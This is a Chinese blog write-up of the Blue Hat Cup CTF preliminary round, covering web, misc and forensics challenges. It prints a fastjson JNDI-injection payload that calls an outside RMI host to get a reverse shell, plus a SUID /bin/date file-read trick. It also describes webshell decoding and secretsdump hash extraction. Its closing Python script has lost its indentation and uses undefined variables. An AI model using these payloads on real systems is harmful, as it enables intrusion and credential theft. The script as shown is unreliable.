蓝帽杯初赛

蓝帽杯

[toc]

Web

Ez_gadget

审计源码发现是fastjson1.2.62的洞,但是ban掉了jndi,rmi,ldap。不过并没有限制unicode,将通用的链子进行unicode绕过关键字过滤。还有一个hashcode爆破,直接找脚本爆破就行,将结果进行url编码。

1
/?str=%EF%B4%9F%1E%10%03&input={"@type":"org.apache.xbean.propertyeditor.\u004AndiConverter","AsText":"\u0072mi://39.107.239.30:1099/grorjm"}

用github的JNDI工具起一个rmi服务,配合高版本jndi反弹shell。最后存在一个suid提权,利用/bin/date读取flag

1
/bin/date -f /root/flag.txt


web2

这题确实含金量,看懂倒是看懂了,有时间再写md把。

Misc

domainhacker

wireshark打开,过滤http
看到最后有个rar,提出来发现有密码。

往前找,发现压缩操作

分析该请求

a是一段php代码,主要是执行shell并且返回
关键部分如下,

1
2
3
$p = base64_decode(substr($_POST["yee092cda97a62"], 2));
$s = base64_decode(substr($_POST["q8fb9d4c082c11"], 2));
$envstr = @base64_decode(substr($_POST["p48a6d55fac1b1"], 2));

读取了form中的yee092cda97a62、q8fb9d4c082c11、p48a6d55fac1b1,去掉前两个字符base64解码。

解码可得,

得到密码。
打开压缩包,得到哈希

domainhacker2

同domainhacker1,找到密码为FakePassword123$

解压缩,使用secretdump得到历史hash

取证

手机取证

直接打开 苹果测试 查看.exe 搜索关键字慢慢找

取证1

取证2

计算机取证

计算机取证1

passware一把梭

计算机取证2

简单看一下cmdlist,发现相关进程RamCapture

计算机取证3

取证大师利用1.dmp解密bitlokcer,挂载之后导出加密的pptx和pass.txt
passware一把梭

计算机取证4

passware解密新建文本文档.txt ,导入密钥就用1.dmp,得到 哈哈哈.zip
同样passware一把梭

程序分析

apk导入AndroidKiller一把梭

程序分析1

程序分析2

程序分析3

程序分析4

类名为a

网站取证

网站取证1

网站取证2

直接解密可得KBLT123

网站取证3

网站取证4

tab_channel_order_list

可知先收款人ID,然后付款人ID


汇率

复制出来对应时间的所有sql,解密乘以汇率然后求和。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def decrypt(data, key=b'jyzg123456'):
key = md5(key).hexdigest()
x = 0
data = base64.b64decode(data.encode('utf-8'))
len1 = len(data)
l = len(key)
char = ''
ret = ''
for i in range(0, len1):
if x == l:
x = 0
char += key[x]
x += 1
for i in range(0, len1):
if ord(data[i:i+1]) < ord(char[i]):
ret += chr(ord(data[i])+256-ord(char[i]))
else:
ret += chr(ord(data[i:i+1])-ord(char[i]))
return ret

with open("a.sql", "r", encoding="utf-8") as f:
file = f.read()

for line in file:
date = re.findall(" NULL, '(.*?)'", line)[0][8:10]
if date.startswith('0'):
date = date[1:]
pos = int(date) - 1
if ", 5, 3," in line:
total += float(decrypt(line[-12:-4]))*bargain[pos]


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!